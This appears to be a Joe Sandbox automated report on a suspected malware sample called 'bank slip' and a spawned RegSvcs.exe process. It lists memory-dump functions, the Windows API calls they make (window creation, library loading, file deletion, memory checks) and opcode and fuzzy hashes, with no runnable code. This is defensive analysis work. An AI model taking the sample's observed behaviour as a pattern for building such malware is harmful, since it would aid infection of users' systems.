Snapshot File: hcaresult_0_2_4ba0000_bank slip.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 51f5e0bc41cda105f2aaa14dbfb6a39cb9eb0efd9724dc956ed3df38fc451a61
Instruction ID: 823323396872f97aaca3d3bbcd06374c7bb46f17491700d47a2102c5bfd73eed
Opcode Fuzzy Hash: 51f5e0bc41cda105f2aaa14dbfb6a39cb9eb0efd9724dc956ed3df38fc451a61
Instruction Fuzzy Hash: 9051E0B1D14349AFDF14CF99C884ADEBBB5FF48314F24856AE818AB210D770A895CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04BA0190 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04BA22E2

Memory Dump Source

Source File: 00000000.00000002.2074216014.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_bank slip.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ab4465d7205be398147ef2a26e8c4ec4a59cfb716123732e21bc1efe439a7ba8
Instruction ID: a542b268a7274af2dde5ea0f066ee2df3ab86d9729d14373d36ef8eb8f068062
Opcode Fuzzy Hash: ab4465d7205be398147ef2a26e8c4ec4a59cfb716123732e21bc1efe439a7ba8
Instruction Fuzzy Hash: FA51CEB1D14309AFDB18CF99C884ADEBBB5FF48310F24856AE818AB210D770A855CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04BA21CB Relevance: 1.6, APIs: 1, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04BA22E2

Memory Dump Source

Source File: 00000000.00000002.2074216014.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_bank slip.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1a93d5febd124769ee4d88c516873ebfe036048b20c530c3c08a058d290fabf7
Instruction ID: 98cf0f9b6ca36009fd95fd19d9fc745d55f67da15ad2ed40135f879f3799cd51
Opcode Fuzzy Hash: 1a93d5febd124769ee4d88c516873ebfe036048b20c530c3c08a058d290fabf7
Instruction Fuzzy Hash: F341CDB5D103099FDF18CF99C984ADEBBB5FF48310F24856AE818AB210D770A895CF90

Uniqueness

Uniqueness Score: -1.00%

Function 025958EC Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 025959A9

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7ebb68a90460fa0a96c1ac042eb18a3fdb072106c963da3d15a6e7eb2063605d
Instruction ID: 2e512ce45104a804e8ee903f80c93a50adff80cabb23d47b4c1426f6eb9ffc85
Opcode Fuzzy Hash: 7ebb68a90460fa0a96c1ac042eb18a3fdb072106c963da3d15a6e7eb2063605d
Instruction Fuzzy Hash: E341F2B0C00719CFDB25DFA9C884BCDBBB1BF49304F60806AD409AB251DB75694ACF95

Uniqueness

Uniqueness Score: -1.00%

Function 04BA02E4 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04BA4861

Memory Dump Source

Source File: 00000000.00000002.2074216014.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_bank slip.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 3e0b669a5da58d3786d7680f786260dd96b9e08d0bb694d784d61a1a4b6a5774
Instruction ID: 650d4a4f91afd684b1526941a922e415eb169b35ddf9e21bd34d4a0a0a4c2a63
Opcode Fuzzy Hash: 3e0b669a5da58d3786d7680f786260dd96b9e08d0bb694d784d61a1a4b6a5774
Instruction Fuzzy Hash: 3B4138B5E002459FDB14CF99D888AAABBF5FF88314F24C499E519A7320D374A841CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 025944E0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 025959A9

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b9c72454a8b75f60e30f60abb460e0c4d18d97860f2fdd780dc62c01ab1da4b0
Instruction ID: 8f2e9e91214300ac9a0909ccbbc22f6f63c4b0f6fb47de000cc48c378cea5dfd
Opcode Fuzzy Hash: b9c72454a8b75f60e30f60abb460e0c4d18d97860f2fdd780dc62c01ab1da4b0
Instruction Fuzzy Hash: 0A41FFB0C00719CFDB25DFA9C884B9EBBB5BF48304F60806AD408AB251DB716949CF95

Uniqueness

Uniqueness Score: -1.00%

Function 02595A64 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4dc47150a7cf1caa9ebbf332a129f923d7f0ec47a7e12cd02d5dc9c0e3e15cf
Instruction ID: 213aae869d3baec267a692fb499f92278d537a8d302b2495ebde5fb5fe4945e8
Opcode Fuzzy Hash: e4dc47150a7cf1caa9ebbf332a129f923d7f0ec47a7e12cd02d5dc9c0e3e15cf
Instruction Fuzzy Hash: 6131CDB0804649CFEF12DFA8C9947DDBBF1BF46314F90818AC405AB251E775A94ACB05

Uniqueness

Uniqueness Score: -1.00%

Function 0259CE80 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0259DBA6,?,?,?,?,?), ref: 0259DC67

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cdd924c9e89e0f42cc50db631eccf5439cb6248819bcf155c28c35d31e977d41
Instruction ID: 8e49e2182563c12658377d3a94fd94c22c3b59dcb84d2c9073f64ae74fff66df
Opcode Fuzzy Hash: cdd924c9e89e0f42cc50db631eccf5439cb6248819bcf155c28c35d31e977d41
Instruction Fuzzy Hash: 032105B5D00209DFDB10DF9AD584ADEBBF4FB48310F14841AE918A3310C374A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0259AC60 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0259B9E1,00000800,00000000,00000000), ref: 0259BBF2

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 069c02fb1af12a050661823c5a6200dab160cf78ab3e755329ddab49e0468756
Instruction ID: a90a1d323eaeac581d7cc754f8806e0c0783ec26a9b73385db8f8b0698366760
Opcode Fuzzy Hash: 069c02fb1af12a050661823c5a6200dab160cf78ab3e755329ddab49e0468756
Instruction Fuzzy Hash: 2D1100B6D003499FDB10CF9AD844A9EFBF9EB88314F10842AE429A7640C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0259BB80 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0259B9E1,00000800,00000000,00000000), ref: 0259BBF2

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e45e4d08912f66071fac121dc3dec35cfca06f55c7e547edcf01e046d031aba4
Instruction ID: 13dab730903bf37954ce69e2e923460c40e06dc51b185199de08fadaa837f770
Opcode Fuzzy Hash: e45e4d08912f66071fac121dc3dec35cfca06f55c7e547edcf01e046d031aba4
Instruction Fuzzy Hash: 5111EFB6D003498FDB10CF9AD544ADEFBF5BB88324F14842EE829A7640C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06A12680 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06A144AD

Memory Dump Source

Source File: 00000000.00000002.2075096399.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_bank slip.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: b85f7696c3d063332074d98b1ceb5f0800147af102d8ab060b958af5c79ff203
Instruction ID: ff5feeea5787c9d83c68d584b181481971afad67973e9b2c1e3dba9eb250501a
Opcode Fuzzy Hash: b85f7696c3d063332074d98b1ceb5f0800147af102d8ab060b958af5c79ff203
Instruction Fuzzy Hash: 571103B58003499FDB10DF9AD889BDEBBF8EB48320F20845AE519B7240C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0259B900 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0259B966

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4f50ee04f77a50d2f1a504abd6779b99d31b00894104f53a05c4bd59423addd1
Instruction ID: 55b3005cb6b18978420b8270122a549f25af839f22dde4bc0b9095b580c3c4b5
Opcode Fuzzy Hash: 4f50ee04f77a50d2f1a504abd6779b99d31b00894104f53a05c4bd59423addd1
Instruction Fuzzy Hash: 18110FB6C102498FDB10CF9AD444ADEFBF4AB88224F10845AD429B7210C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06A14449 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06A144AD

Memory Dump Source

Source File: 00000000.00000002.2075096399.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_bank slip.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a8f3bf70e682368c2e87d4bc34fec44f470d49299e59766b809c0c2c2cdf51e9
Instruction ID: 0af836f9e9e555337e1cce092b4df7f22d93fad093da166d6d12810353347cc4
Opcode Fuzzy Hash: a8f3bf70e682368c2e87d4bc34fec44f470d49299e59766b809c0c2c2cdf51e9
Instruction Fuzzy Hash: AC11F2B58003499FDB10DF9AD849BDEFFF8EB48320F24845AE519A7240C375A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0080D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2063826406.000000000080D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80d000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6191023e85df32fe36292b87a4b174bf7f53b04aa6d52d071425651486918f87
Instruction ID: 69bda0f6922470ad69d5693f484c6f741b01d75a219cb982522c79d30e9bd485
Opcode Fuzzy Hash: 6191023e85df32fe36292b87a4b174bf7f53b04aa6d52d071425651486918f87
Instruction Fuzzy Hash: FC2148B1500704DFDB00DF44DDC0B26BF65FB94324F24C569E9098B296C336E816C6A6

Uniqueness

Uniqueness Score: -1.00%

Function 009FD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2067207657.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64b3d9851e6017974e660423c904b96b02c7e4beac0a2a58bbc7134b28bc8b8f
Instruction ID: e4e612ddd1e1e954fa8e5dc9ec16d9b530767ac20580ab4729d077029cc404bc
Opcode Fuzzy Hash: 64b3d9851e6017974e660423c904b96b02c7e4beac0a2a58bbc7134b28bc8b8f
Instruction Fuzzy Hash: 3E21F571504248DFDB14DF14D5C4B26BB66EB84314F38C96DDA0A4B246CB3AD807CB61

Uniqueness

Uniqueness Score: -1.00%

Function 009FD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2067207657.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d80f18caa57ec7c23e8092c66e61002b31f7c1951ef46221ba089b40fb038034
Instruction ID: ea27154e21bb76a085d47a93dd81912e6fabfb7bf9edb3dc778b18c8b1100a2e
Opcode Fuzzy Hash: d80f18caa57ec7c23e8092c66e61002b31f7c1951ef46221ba089b40fb038034
Instruction Fuzzy Hash: 7B2129B1504208EFDB05DF14D5C0B36BBA6FB84314F34C96DDA094B255C33AD816CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009FD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2067207657.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09a3e73eb66ab20ed9b9b8e411dda0d4ec96d512644c1e1b494f94c871a43e52
Instruction ID: f3bb2db35c14d5c0363ce479c3debc747be75173abdc80d9f30587b2ab219b1f
Opcode Fuzzy Hash: 09a3e73eb66ab20ed9b9b8e411dda0d4ec96d512644c1e1b494f94c871a43e52
Instruction Fuzzy Hash: 43219F755093C48FCB02CF24D994715BF72EB46314F28C5EAD9498F6A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0080D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2063826406.000000000080D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80d000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
Instruction ID: f4ef10ef8a2e2edd498c25f4017fd3a96ad4c4e149f14d14da1be9204c7cbd87
Opcode Fuzzy Hash: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
Instruction Fuzzy Hash: 1A110372504740CFDB02CF44D9C4B16BF71FB94324F24C2A9D8094B656C33AE85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009FD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2067207657.00000000009FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9fd000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction ID: fd4150a17dda434ad6de1dd3f1891a0f632db259bc4ccb88519c558d02bceee8
Opcode Fuzzy Hash: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction Fuzzy Hash: C411DD75904284DFDB02CF10D5C4B25FBB2FB84324F24C6AED9494B696C33AD81ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0080D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2063826406.000000000080D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80d000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f1b6725b5e9545d04c737fccf57e9565c2d506985314c25841b0de2d429915
Instruction ID: 06f0b087efcf4ca69e2354fc6283788954e619b0dbad35b9addad16d0c23b06e
Opcode Fuzzy Hash: 00f1b6725b5e9545d04c737fccf57e9565c2d506985314c25841b0de2d429915
Instruction Fuzzy Hash: D60126710053449AE7508EA9CDC4B27FFA8EF81324F28C91AED088A2C6C3399840CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0080D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2063826406.000000000080D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80d000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00337754a9a171314542e8976623a0f96d524ef1b2af9ca55db0c22245292c17
Instruction ID: 7d1105394077bf274ec8871485bd17b87a244ba75bbe6467d5c4fec66108ad08
Opcode Fuzzy Hash: 00337754a9a171314542e8976623a0f96d524ef1b2af9ca55db0c22245292c17
Instruction Fuzzy Hash: 9DF06D72404344AEE7108E1ADD88B62FFA8EB91734F18C45AED088A2D6C3799844CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 068A6A00 Relevance: 6.0, Strings: 4, Instructions: 1015COMMON

Download Yara Rule

Strings

pgq, xrefs: 068A76D9
xbfq, xrefs: 068A6B30
Tecq, xrefs: 068A725A
TJhq, xrefs: 068A6BA5

Memory Dump Source

Source File: 00000000.00000002.2075061318.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68a0000_bank slip.jbxd

Similarity

API ID:
String ID: TJhq$Tecq$pgq$xbfq
API String ID: 0-3743893911
Opcode ID: 9928fecb5adca0e979cbc67bd553caf068b2ece1a212cf2c1c27287210327fc7
Instruction ID: 59f67c301c82e5e269983573b8fedabcc65fe89b7a39e277480eee3297a49779
Opcode Fuzzy Hash: 9928fecb5adca0e979cbc67bd553caf068b2ece1a212cf2c1c27287210327fc7
Instruction Fuzzy Hash: 66B2A075E00628DFDB64CF69C984ADDBBB2BF89304F1581E9D509AB225DB319E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 04BA0920 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074216014.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09aa988843d681b25ba97ea45cf1e8b30ca7043189146b8f25ea30f21d8189be
Instruction ID: d6d62bea6f2a1a577bf256cf836c2c92dfc347bb652b0e243776b67691a41c49
Opcode Fuzzy Hash: 09aa988843d681b25ba97ea45cf1e8b30ca7043189146b8f25ea30f21d8189be
Instruction Fuzzy Hash: 1C129EB8C01746ABE710CF65E94C18D3AB1FBE5328B904219D3616A2E5DBBE194BCF44

Uniqueness

Uniqueness Score: -1.00%

Function 068AAB60 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075061318.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68a0000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39372efafb06b24f86d8979883cb0137f593588802102fd81cb045a358a2f577
Instruction ID: 84846bc883b8041a47c707c7c29f0c4b29ef8b1fedf221028283b6179f328c65
Opcode Fuzzy Hash: 39372efafb06b24f86d8979883cb0137f593588802102fd81cb045a358a2f577
Instruction Fuzzy Hash: 4DD10C31D20B5ACACB01EB64D950A9DB3B1FF95300F20C79AE50977264EB706AD9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0259E47C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b63149addf88eb91595f4a25579ccd1f6d8b23ee3485d9fed87d29f6bf89aa4
Instruction ID: 2f45c11fc2d166003a4c274648467c697a79a0787fe021b65f23db1cbb8016ae
Opcode Fuzzy Hash: 8b63149addf88eb91595f4a25579ccd1f6d8b23ee3485d9fed87d29f6bf89aa4
Instruction Fuzzy Hash: E6A15B32A10216CFCF05DFA4C84459EBBB2FFC9300B15856AE805AB265EB35ED46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04BA0910 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074216014.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea99c03db26ccba008304b3b8dd542e3aa61a630c03f6e9a924f7cac0365f68a
Instruction ID: b6cb2a4cb2b6b2ffe6c435e1487f4189a88221abad14a07c0739a981f1ff4837
Opcode Fuzzy Hash: ea99c03db26ccba008304b3b8dd542e3aa61a630c03f6e9a924f7cac0365f68a
Instruction Fuzzy Hash: 9EC1E4B8C01746ABD710CF65E94818D7BB1FFE5328B604219D3616B2E5DBBA184BCF44

Uniqueness

Uniqueness Score: -1.00%

Function 068AC190 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075061318.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68a0000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597ec99cb6010c5a76f3ed531b38d603c03a77b1a6e9b4b184d165a3792b5251
Instruction ID: 852853683044281797ec9877b1dd6af15a189c6bbc5b409f9b82bb465a1763c7
Opcode Fuzzy Hash: 597ec99cb6010c5a76f3ed531b38d603c03a77b1a6e9b4b184d165a3792b5251
Instruction Fuzzy Hash: A151D274E052198FDB44DFAAD5809AEFBF2FF88300F24D126E819A7255D730A942CF91

Uniqueness

Uniqueness Score: -1.00%

Function 068A0040 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075061318.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68a0000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73f66c315014ee156acb95114b5aaabb82b7a42e10fdf6b4480f137db20ba23c
Instruction ID: 8ed65e08258abfcd48f4fcdb4f13800afdc4891b74b1b6a1636b8f2ab51eccb8
Opcode Fuzzy Hash: 73f66c315014ee156acb95114b5aaabb82b7a42e10fdf6b4480f137db20ba23c
Instruction Fuzzy Hash: E85184B4E016188FEB68CF2AD95479DBAF3AFC8204F14C1EAD40DA7264DB710A95CF40

Uniqueness

Uniqueness Score: -1.00%

Function 068A003F Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075061318.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68a0000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e02f39ec5a5673a5b654ad8f61a36382896fb7c6b2f03fb48d67b3fc0f04d6
Instruction ID: 84c2a38f15b703052d9f621e47c04b9fd8474e3eb66a9657e06ed356a9ee06c3
Opcode Fuzzy Hash: 46e02f39ec5a5673a5b654ad8f61a36382896fb7c6b2f03fb48d67b3fc0f04d6
Instruction Fuzzy Hash: F33147B1D016188BEB68CF6BDD4478EFAF7AFC8204F14C1AAD40CAA254EB7509958F51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 7292, Parent PID: 6756COMMON

Execution Graph

Execution Coverage:	13.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	2

Executed Functions

Function 012C7348 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 012C73C0

Strings

u, xrefs: 012C7348

Memory Dump Source

Source File: 00000009.00000002.2089275349.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_12c0000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID: u
API String ID: 4033686569-4067256894
Opcode ID: 366b76a074f9a3a8addb4d5c173792b42a9328506fbeee389bc2405dc9c1fecd
Instruction ID: 9539ef3a891afa15e9ffffce84c5f91a89cf6af84a78fb6991b461868c17863c
Opcode Fuzzy Hash: 366b76a074f9a3a8addb4d5c173792b42a9328506fbeee389bc2405dc9c1fecd
Instruction Fuzzy Hash: 742135B1C1065A9FCB14CF9AD445BEEFBF0BF48320F10826AD918A7240D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0639E4C8 Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2113306020.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6390000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56284fa46c89c456e2a716b1f0fea5dedc5f096a0be44c055cd1a420957371e8
Instruction ID: 6d0614fae29ecfec2f57043bac189ebe471fd48a240247f055a99cfb638e09c2
Opcode Fuzzy Hash: 56284fa46c89c456e2a716b1f0fea5dedc5f096a0be44c055cd1a420957371e8
Instruction Fuzzy Hash: A6412672E043598FCB10DF69D8046AEBFF5AF8A310F1585AAD404A7341EB74A845CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 012C7350 Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 012C73C0

Memory Dump Source

Source File: 00000009.00000002.2089275349.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_12c0000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 63de94153e15bfa01528f17c8ca7ce15ce568920ab5f5daf9d1fc38725015149
Instruction ID: c22c33e0a310a560fc3ec8c1440de45d07ac2656fb964d34ecc27e68fdf14ca2
Opcode Fuzzy Hash: 63de94153e15bfa01528f17c8ca7ce15ce568920ab5f5daf9d1fc38725015149
Instruction Fuzzy Hash: 341144B1C1061A9BCB14CF9AD445B9EFBF4FF48720F11822AD918A7240D338A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0639D16C Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,0639E51A), ref: 0639E607

Memory Dump Source

Source File: 00000009.00000002.2113306020.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6390000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
